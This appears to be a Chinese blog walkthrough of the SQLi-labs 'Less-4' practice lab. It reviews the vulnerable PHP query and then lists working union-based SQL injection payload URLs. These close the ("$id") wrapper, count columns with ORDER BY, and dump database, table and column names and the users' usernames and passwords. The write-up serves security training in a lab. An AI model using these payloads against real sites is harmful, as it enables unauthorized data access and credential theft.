Less - 4
SQL注入 - 前置知识:https://blog.csdn.net/weixin_43320796/article/details/139498174
1. 代码审计
截取一段源代码:
-
可以看到源代码
(20行)
判断GET
请求的id
是否有值 -
如果有值的就
(21行)
赋值到$id
变量 -
(27行)
后面$id
加上了双引号
包括 -
(28行)
SQL语句变量($id)
存在单括号
干扰,加上变量带的双引号
变为("$id")
- 用
")
闭合前面的双引号
和单括号
,用--+
注释后面的双引号
和单括号
- 当
id
参数值为1") or 1=1 --+
拼接SQL
后SELECT * FROM users WHERE id = ("1") or 1=1 --+")LIMIT 0,1
- 用
-
然后代入数据库查询
(29-30行)
2. 注入测试
2.1 ORDER BY (排序)
-
此处可以利用 ORDER BY 猜解字段数量
注:ORDER BY n,当 n 为数字时代表对第几个字段进行排序,例如:ORDER BY 3;代表对第三个字段进行排序,如果 n > 表的字段数;将会报错。
http://www.sqlilabs.kay.com/Less-4/?id=1") ORDER BY 3 --+
http://www.sqlilabs.kay.com/Less-4/?id=1") ORDER BY 4 --+
ORDER BY 3
正常返回,ORDER BY 4
返回错误,可判断表中存在3
个字段
2.2 UNION 注入
- 此处可以利用 UNION 爆出返回数据的位置
http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,2,3 --+
- 可见数据返回点为第二个、第三个字段
3. 构造 Payload
3.1 爆所有数据库名
http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,GROUP_CONCAT(SCHEMA_NAME),3 from information_schema.SCHEMATA --+
3.2 爆当前数据库所有表名
http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 from information_schema.TABLES WHERE TABLE_SCHEMA=database() --+
3.3 爆 users 表所有字段名
http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 from information_schema.COLUMNS WHERE TABLE_NAME='users' --+
3.4 爆 username,password 数据
http://www.sqlilabs.kay.com/Less-4/?id=1") AND 1=2 UNION SELECT 1,GROUP_CONCAT(username),GROUP_CONCAT(password) from security.users --+